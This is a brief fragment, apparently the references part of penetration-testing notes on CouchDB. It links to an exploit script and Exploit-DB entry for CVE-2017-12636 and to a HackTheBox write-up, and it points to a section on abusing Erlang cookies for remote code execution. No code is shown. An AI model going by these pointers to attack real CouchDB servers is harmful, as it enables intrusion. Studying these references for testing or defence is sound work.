https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py
https://www.exploit-db.com/exploits/44913/
Summary
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
like this one
read this section to learn how to abuse Erlangs cookies to obtain RCE
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